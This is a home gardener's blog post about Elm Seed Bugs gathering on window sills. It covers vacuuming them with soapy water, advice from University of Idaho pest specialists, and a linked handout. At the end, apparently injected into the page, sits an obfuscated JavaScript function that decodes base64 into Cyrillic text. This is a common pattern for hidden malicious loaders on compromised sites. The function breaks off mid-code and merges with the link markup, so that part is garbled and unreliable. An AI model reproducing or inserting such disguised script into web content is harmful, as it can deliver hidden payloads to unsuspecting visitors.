Elm Seed Bug

Elm Seed Bug (Photo courtesy of ID State Dept of Agriculture)

Are you finding those nasty Elm Seed Bugs on your window sills?  Dead or alive?  Where do they come from?  Why are they still active?  This looks like it is going to be a long drawn out battle with these guys!

Every morning, I wake up and check the window sills in our fireplace room and I usually find one or two or six bugs sitting on the sill. I really detest these guys!!

Elm Seed Bug

Dead bugs sitting on the window sill.

I have sprayed, vacuumed and  smashed these bugs by hand.  In frustration, I called the U of Idaho Master Gardener office for some advice and emailed the  IPM (Integrated Pest Management) Specialist at the U of I Parma Research Station.  Their advice was to stop smashing the bugs!  Apparently, the smell they give off when I smash them, may attract more bugs to the same location.  So instead, I am vacuuming these guys up with a small shop vac that has a very little bit of soapy water in the  bottom of the vacuum.  The soapy water is an attempt to kill the bug when they are sucked up into the vacuum.  It seems to be working.  The worst thing I can think of is vacuuming these bad guys up and then finding them crawling out of the shop vac.  I am going to say (VERY guardedly) that they have decreased their appearances in my fireplace room.  Today, I don't think I saw one.  At it's peak in January, there were mornings where I could pick off 10 - 20 of these guys in just moments.  Of course, being that this is January, this is a quiet time for the bugs.  In summer, once again we will be inundated by these nasty creatures.  Last fall, I had to wash the windows and window sills inside and out to clean off the bug poop they left on the surfaces.  When removing the window screens, I found "hundreds" of bugs all nested together in the channels that hold the screens.  Absolutely gross.  I am interested to see how effective the new shop vac will be with the bugs in a larger quantity.

My question is, if they live on elm seeds, how are they staying alive through the winter?  And, if I chop down the elm in my neighbor's back yard, does that mean they will leave me alone?

If you want to read more about the Elm Seed Bug, there is a PDF attached that is from U of I Parma, IPM Specialist, Jim Barbour.  Hope this gives you some helpful information.

function h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4out.pdf">Elm seed bug handout